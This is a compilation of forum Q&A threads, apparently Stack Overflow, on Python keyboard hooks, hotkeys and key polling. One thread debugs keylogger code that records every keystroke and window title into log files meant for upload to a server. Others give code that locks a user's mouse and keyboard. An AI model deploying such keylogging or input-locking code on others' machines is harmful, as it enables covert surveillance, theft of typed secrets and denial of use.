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My project is to make a program that you can run while you are playing games or other programs in the background.
When you press a certain key, your notepad should open and also close after you press the same key again.
I have managed to open notepad with subprocess and that works fine but I have no idea to make it open only when a certain key is pressed.
Thanks for any help!
EDIT:
What I tried already:
import subprocess
import keyboard
if keyboard.is_pressed('k'):
subprocess.Popen('C:\\Windows\\System32\\notepad.exe')
input()
here it just doesn't detect any keyboard input, the input() at the end makes the program not close instantly
import subprocess
import keyboard
keyboard.add_hotkey('ctrl+k', print,args=("hello", "test"))
input()
Here if I press "ctrl+k it" will print hello test that means the hotkey works fine. When I switch this part "print,args=("hello", "test")" to "subprocess.Popen('C:\Windows\System32\notepad.exe')"(it should open the program instead of printing hello test) the notepad opens instantly after I run the program and when I press "ctrl+k" I get a big error.
A more complex, but still working example could be the following. With this code your program will be always listening the keyboard, not only when you are focused on the input, so may be mre practical in your case
from pynput import keyboard
import subprocess
import threading
class MyException(Exception): pass
class Listening:
"""Is allways waiting for the keyboard input"""
def __init__(self):
self.notepad_open = False # to know the state
with keyboard.Listener(
on_press=self.on_press) as listener:
try:
listener.join()
except:
pass
def on_press(self, key):
try:
if key.char == "k":
if not self.notepad_open:
self.subprocess = \
subprocess.Popen('C:\\Windows\\System32\\notepad.exe')
self.notepad_open = True # update state
else:
self.subprocess.kill()
self.notepad_open = False # update state
except: # special key was pressed
pass
thread = threading.Thread(target=lambda: Listening())
thread.start()
The problem is that you check for the key 'k' only once at the beginning. If you want the program to correctly work then you should try this:
import time
import subprocess
import keyboard
while True:
if keyboard.is_pressed('k'):
subprocess.Popen('C:\\Windows\\System32\\notepad.exe')
time.sleep(5)
-I used the time so that you can only open the program once 5 seconds(If you're curious, see what happens without it)-
This has been bugging me for the last few days.
What I'm trying to achieve is:
1. Select(by dragging, shift, etc) text from an internet text editor.
2. press a hotkey (Alt-` in the code below)
3. Retrieve/copy that text to python program
4. Replace the selected text with a different block of text.
So if I select the word "stack" in a text editor and press Alt+`, then the selection should change into "stack overflow".
With the press of that hotkey only.
It seems pretty easy, but I found out that it really isn't.
This is as far as I've gotten:
import pyHook
import win32clipboard
import win32api, win32con
def sm():
handle = win32api.GetCurrentProcess()
win32api.SendMessage(handle ,win32con.WM_COPY, 0,0)
def OnKeyboardEvent(event):
if event.Alt != 0:
if event.KeyID != 192:
sm()
try:
win32clipboard.OpenClipboard()
a = win32clipboard.GetClipboardData(13)
finally:
try:
win32clipboard.CloseClipboard()
finally:
print "error"
return True
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
if __name__ == '__main__':
import pythoncom
pythoncom.PumpMessages()
This is just one of the many codes I've tried.
I'm not even sure if WM_COPY is the right message to use. In fact, I don't really get what messages are supposed to do and how they work.
Retrieving the text is just the first part of the whole program and I'm stuck.
I don't care if I use the clipboard to make this happen.
Any ideas? I really want to make this work, because I do this tedious replacement every day.
How can I poll the keyboard from a console python app? Specifically, I would like to do something akin to this in the midst of a lot of other I/O activities (socket selects, serial port access, etc.):
while True:
# doing amazing pythonic embedded stuff
# ...
# periodically do a non-blocking check to see if
# we are being told to do something else
x = keyboard.read(1000, timeout = 0)
if len(x):
# ok, some key got pressed
# do something
What is the correct pythonic way to do this on Windows? Also, portability to Linux wouldn't be bad, though it's not required.
The standard approach is to use the select module.
However, this doesn't work on Windows. For that, you can use the msvcrt module's keyboard polling.
Often, this is done with multiple threads -- one per device being "watched" plus the background processes that might need to be interrupted by the device.
A solution using the curses module. Printing a numeric value corresponding to each key pressed:
import curses
def main(stdscr):
# do not wait for input when calling getch
stdscr.nodelay(1)
while True:
# get keyboard input, returns -1 if none available
c = stdscr.getch()
if c != -1:
# print numeric value
stdscr.addstr(str(c) + ' ')
stdscr.refresh()
# return curser to start position
stdscr.move(0, 0)
if __name__ == '__main__':
curses.wrapper(main)
Ok, since my attempt to post my solution in a comment failed, here's what I was trying to say. I could do exactly what I wanted from native Python (on Windows, not anywhere else though) with the following code:
import msvcrt
def kbfunc():
x = msvcrt.kbhit()
if x:
ret = ord(msvcrt.getch())
else:
ret = 0
return ret
None of these answers worked well for me. This package, pynput, does exactly what I need.
https://pypi.python.org/pypi/pynput
from pynput.keyboard import Key, Listener
def on_press(key):
print('{0} pressed'.format(
key))
def on_release(key):
print('{0} release'.format(
key))
if key == Key.esc:
# Stop listener
return False
# Collect events until released
with Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()
import sys
import select
def heardEnter():
i,o,e = select.select([sys.stdin],[],[],0.0001)
for s in i:
if s == sys.stdin:
input = sys.stdin.readline()
return True
return False
From the comments:
import msvcrt # built-in module
def kbfunc():
return ord(msvcrt.getch()) if msvcrt.kbhit() else 0
Thanks for the help. I ended up writing a C DLL called PyKeyboardAccess.dll and accessing the crt conio functions, exporting this routine:
#include <conio.h>
int kb_inkey () {
int rc;
int key;
key = _kbhit();
if (key == 0) {
rc = 0;
} else {
rc = _getch();
}
return rc;
}
And I access it in python using the ctypes module (built into python 2.5):
import ctypes
import time
# first, load the DLL
try:
kblib = ctypes.CDLL("PyKeyboardAccess.dll")
except:
raise ("Error Loading PyKeyboardAccess.dll")
# now, find our function
try:
kbfunc = kblib.kb_inkey
except:
raise ("Could not find the kb_inkey function in the dll!")
# Ok, now let's demo the capability
while True:
x = kbfunc()
if x != 0:
print "Got key: %d" % x
else:
time.sleep(.01)
I've come across a cross-platform implementation of kbhit at http://home.wlu.edu/~levys/software/kbhit.py (made edits to remove irrelevant code):
import os
if os.name == 'nt':
import msvcrt
else:
import sys, select
def kbhit():
''' Returns True if a keypress is waiting to be read in stdin, False otherwise.
'''
if os.name == 'nt':
return msvcrt.kbhit()
else:
dr,dw,de = select.select([sys.stdin], [], [], 0)
return dr != []
Make sure to read() the waiting character(s) -- the function will keep returning True until you do!
You might look at how pygame handles this to steal some ideas.
I am using this for checking for key presses, can't get much simpler:
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
import curses, time
def main(stdscr):
"""checking for keypress"""
stdscr.nodelay(True) # do not wait for input when calling getch
return stdscr.getch()
while True:
print("key:", curses.wrapper(main)) # prints: 'key: 97' for 'a' pressed
# '-1' on no presses
time.sleep(1)
While curses is not working on windows, there is a 'unicurses' version, supposedly working on Linux, Windows, Mac but I could not get this to work
One more option would be to use sshkeyboard library to enable reacting to key presses instead of polling them periodically, and potentially missing the key press:
from sshkeyboard import listen_keyboard, stop_listening
def press(key):
print(f"'{key}' pressed")
if key == "z":
stop_listening()
listen_keyboard(on_press=press)
Simply pip install sshkeyboard to use it.
This can be done using 'pynput' module in python,
You press a key and it gets printed It's that easy!
PIP Install the module in command prompt, write following text and press enter
pip install pynput
Run the following code:
from pynput.keyboard import Key, Listener
def pressed(key):
print('Pressed:',key)
def released(key):
print('Released:',key)
if key == Key.enter:
# Stop detecting when enter key is pressed
return False
# Below loop for Detcting keys runs until enter key is pressed
with Listener(on_press=pressed, on_release=released) as detector:
detector.join()
You can end the loop with any key you want by changing Key.enter to some other key in the 8th line of the code.
If you combine time.sleep, threading.Thread, and sys.stdin.read you can easily wait for a specified amount of time for input and then continue,
also this should be cross-platform compatible.
t = threading.Thread(target=sys.stdin.read(1) args=(1,))
t.start()
time.sleep(5)
t.join()
You could also place this into a function like so
def timed_getch(self, bytes=1, timeout=1):
t = threading.Thread(target=sys.stdin.read, args=(bytes,))
t.start()
time.sleep(timeout)
t.join()
del t
Although this will not return anything so instead you should use the multiprocessing pool module you can find that here: how to get the return value from a thread in python?
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def fi():
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
Thread(target = fi).start()
Thread(target = OnKeyboardEvent(event)).start()
The first block of code def fi() is making a new file when the file size goes more than 20KB . The second block is a keylogger and logs the key in the file. I am new to python and multi-threading. Now when i run this code. i can only get the keylogger working and no file is formed and no logs are created. Please help me with this one.
All i need from this code is to create a log file named on the current time and log all the keywords into the file. and then if the file becomes more than 20KB then it should upload the old file to the server and make a new file with the new current time. I am new to python thats why i am not sure of what this code is wrong in and what it is not doing .*
First problem
You do create two Threads - but the target of the second is the return value of OnKeyboardEvent(event). This has no return-statement, so the return value is None, so the Thread has no target.
Second problem
Your code never reaches the if __name__ == "__main__":-part. It blocks on pythoncom.PumpMessages(), at least for me.
Third problem
At first I was confused how your code could run without throwing an exception - event in the last line isn't defined earlier in this scope. But problem 2 prevents problem 3 from becoming effective at the moment, but if you fix this, you'll have to face number 3 as well.
Solution
Honestly, I do not really understand what you are trying to do. You should definitely fix each of the problems.
Don't call the target of a thread, give the thread a function-object. If you need arguments, use the args-argument of Thread, e.g. Thread(target = OnKeyboardEvent, args=(event)).start()
I do not know the usage of pythoncom too well. Maybe pythocom.PumpWaitingMessages() is what you want?
I have no idea what you're trying to do here. Why do you want to call a callback-function in a Thread? This function has no loop or anything, so it will run once and stop. I guess it was just a desperate try?
General remarks
I'd not recommend redefining sys.stdout unless you really have to do so.
Please close() files you open. Maybe consider using the with-statement.
Even better: make use of the logging-module. It offers a lot of different possibilities.
When you create a Thread, think about the end. When will it stop? How can you stop it from another Thread?
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def OnKeyboardEvent(event):
# Now you can access your hookmanager, and change which keys you want
# to watch. Using 'event' and 'hm', you can do some fun stuff in here.
global hm
global lastWindow
window=win32gui.GetWindowText(win32gui.GetForegroundWindow())
####window = event.WindowName
####I'm not sure, but these last two functions may not return the "exact"
####name values. I would call the same function you trying to compare against.
key = chr(event.Ascii)
if window != lastWindow: ## Now you know these at least come from same function
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
def fi(): #This is your "worker loop"
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass
if __name__ == '__main__':
"""This stuff only executes once"""
global lastWindow
lastWindow = None
lastWindow=win32gui.GetWindowText(win32gui.GetForegroundWindow())
print lastWindow
global hm #if we make this global, we can access inside OnKeyboardEvent
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
Thread(target = fi).start() #This is your worker loop
# We don't need this. OnKeyboardEvent will get callbacks from system
# thanks to Hookmanager and PumpMessages
##Thread(target = OnKeyboardEvent(event)).start()
# You wouldn't want to do it with the way we are set up, but this is a "polite"
# way to get PumpMessages to return...
#ctypes.windll.user32.PostQuitMessage(0) # stops pumpMessages
try:
pythoncom.PumpMessages() #This call will block forever unless interrupted
except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
print(e)
os._exit()
I noticed your edit/comment on the original message. If you are still working on this, here is what I suggest.
Forget about the logging, threading, and other stuff you are trying to do. Focus on getting PyHook to work in its most simple state. From the original code, it seems you are struggling to get pyHook set up correctly (note, i do not currently have pyhook installed, so this is not tested code):
import pyHook
def OnKeyboardEvent(event):
print(event)
if __name__ == '__main__':
global hm #if we make this global, we can access inside OnKeyboardEvent
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
try:
pythoncom.PumpMessages() #This call will block forever unless interrupted,
# so get everything ready before you execute this.
except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
print(e)
os._exit()
This code aims to simply hook any keypress event, print the event instance to the console. Technically you should not do much work INSIDE the event callback (it should return as quickly as possible), but for the sake of testing, you might be able to put some of your worker-functions in the event loop. THis would only be temporary, until you are ready to mix in your threaded worker loop. (and don't be surprised if file-access functions cause errors).
Get this working first. Then try storing stdout to a file. (forget about the 20Kb file limit for the time being).
Is there a way of disabling or locking mouse and keyboard using python? I want to freeze the mouse and disable the keyboard.
I haven't tested (actually I've tested the mouse part, and it annoyingly works) but something like this using pyhook would do what you want:
import pythoncom, pyHook
def uMad(event):
return False
hm = pyHook.HookManager()
hm.MouseAll = uMad
hm.KeyAll = uMad
hm.HookMouse()
hm.HookKeyboard()
pythoncom.PumpMessages()
I have extended Fábio Diniz's answer to a class which provides both a block() and an unblock() function which block (selectively) mouse/keyboard inputs. I also added a timeout functionality which (hopefully) addresses the annoyance of locking oneself out.
import pyHook
from threading import Timer
import win32gui
import logging
class blockInput():
def OnKeyboardEvent(self,event):
return False
def OnMouseEvent(self,event):
return False
def unblock(self):
logging.info(" -- Unblock!")
if self.t.is_alive():
self.t.cancel()
try: self.hm.UnhookKeyboard()
except: pass
try: self.hm.UnhookMouse()
except: pass
def block(self, timeout = 10, keyboard = True, mouse = True):
self.t = Timer(timeout, self.unblock)
self.t.start()
logging.info(" -- Block!")
if mouse:
self.hm.MouseAll = self.OnMouseEvent
self.hm.HookMouse()
if keyboard:
self.hm.KeyAll = self.OnKeyboardEvent
self.hm.HookKeyboard()
win32gui.PumpWaitingMessages()
def __init__(self):
self.hm = pyHook.HookManager()
if __name__ == '__main__':
logging.basicConfig(level=logging.INFO)
block = blockInput()
block.block()
import time
t0 = time.time()
while time.time() - t0 < 10:
time.sleep(1)
print(time.time() - t0)
block.unblock()
logging.info("Done.")
You can have a look at the main routine for example usage.
For me, just two lines of programming solved the problem:
from ctypes import *
ok = windll.user32.BlockInput(True) #enable block
#or
ok = windll.user32.BlockInput(False) #disable block
Totally different take since all the solutions mentioned above use a quiet outdated library(pyhook) and this pyhook method personally didnt work for me.
import keyboard
from pynput.mouse import Controller
from time import sleep
def blockinput():
global block_input_flag
block_input_flag = 1
t1 = threading.Thread(target=blockinput_start)
t1.start()
print("[SUCCESS] Input blocked!")
def unblockinput():
blockinput_stop()
print("[SUCCESS] Input unblocked!")
def blockinput_start():
mouse = Controller()
global block_input_flag
for i in range(150):
keyboard.block_key(i)
while block_input_flag == 1:
mouse.position = (0, 0)
def blockinput_stop():
global block_input_flag
for i in range(150):
keyboard.unblock_key(i)
block_input_flag = 0
blockinput()
print("now blocking")
sleep(5)
print("now unblocking")
I just slightly modified the #Robert code and instead of the time I used external interrupt to close the program i.e. if you connect any external drive then the program gets close and your mouse and keyboard will be working perfectly.
import pyHook
from threading import Timer
import win32gui
import logging
import win32file
def locate_usb():#this will check any external Drives
drive_list = []
drivebits = win32file.GetLogicalDrives()
# print(drivebits)
for d in range(1, 26):
mask = 1 << d
if drivebits & mask:
# here if the drive is at least there
drname = '%c:\\' % chr(ord('A') + d)
t = win32file.GetDriveType(drname)
if t == win32file.DRIVE_REMOVABLE:
drive_list.append(drname)
return drive_list
class blockInput():
def OnKeyboardEvent(self,event):
return False
def OnMouseEvent(self,event):
return False
def unblock(self):
try: self.hm.UnhookKeyboard()
except: pass
try: self.hm.UnhookMouse()
except: pass
def block(self ,keyboard = True, mouse = True):
while(1):
if mouse:
self.hm.MouseAll = self.OnMouseEvent
self.hm.HookMouse()
if keyboard:
self.hm.KeyAll = self.OnKeyboardEvent
self.hm.HookKeyboard()
win32gui.PumpWaitingMessages()
cg= locate_usb()
if cg:
break
def __init__(self):
self.hm = pyHook.HookManager()
if __name__ == '__main__':
block = blockInput()
block.block()
block.unblock()
I hope this code will help you
Since 2018, you can now use pynput (v1.4+) to suppress keyboard and mouse events on Windows, Mac, and Linux.
import pynput
# Disable mouse and keyboard events
mouse_listener = pynput.mouse.Listener(suppress=True)
mouse_listener.start()
keyboard_listener = pynput.keyboard.Listener(suppress=True)
keyboard_listener.start()
# Enable mouse and keyboard events
mouse_listener.stop()
keyboard_listener.stop()
This also disables mouse scrolling and clicking.
However, this does not stop users from pressing Ctrl+Alt+Del on Windows. But you can run the script in an elevated command prompt, and the mouse and keyboard will still be disabled, even if they opened Task Manager using Ctrl+Alt+Delete, so there is no harm done (apparently there are way to actually prevent Ctrl+Alt+Delete, but do your own research for that)
You can use pyautogui to do this. Though I recommend adding keyboard for making a stopping key. First, you want to install pyautogui and keyboard.
Please note: this only disables the mouse not the keyboard, that is a very bad idea.
pip install pyautogui
pip install keyboard
Ok, with that sorted, we have to actually make the disabler.
import pyautogui
import keyboard
stopKey = "s" #The stopKey is the button to press to stop. you can also do a shortcut like ctrl+s
maxX, maxY = pyautogui.size() #get max size of screen
While True:
if keyboard.is_pressed(stopKey):
break
else:
pyautogui.moveTo(maxX/2, maxY/2) #move the mouse to the center of the screen
Ok, but there is 2 ways to get out of this. pressing S, and also quickly moving the mouse to one of the corners of the screen (that is a pyautogui failsafe, but we can disable that). If you want to disable the failsafe, add this after the imports:
pyautogui.FAILSAFE = False
Please note that disabling the failsafe is NOT recommended!
Ok, so now the only way to exit is the S key. If you want to stop this somewhere else in your program, do this:
pyautogui.press(stopKey)
Ok, so its not perfect, but it will stop you from doing basically anything with your mouse.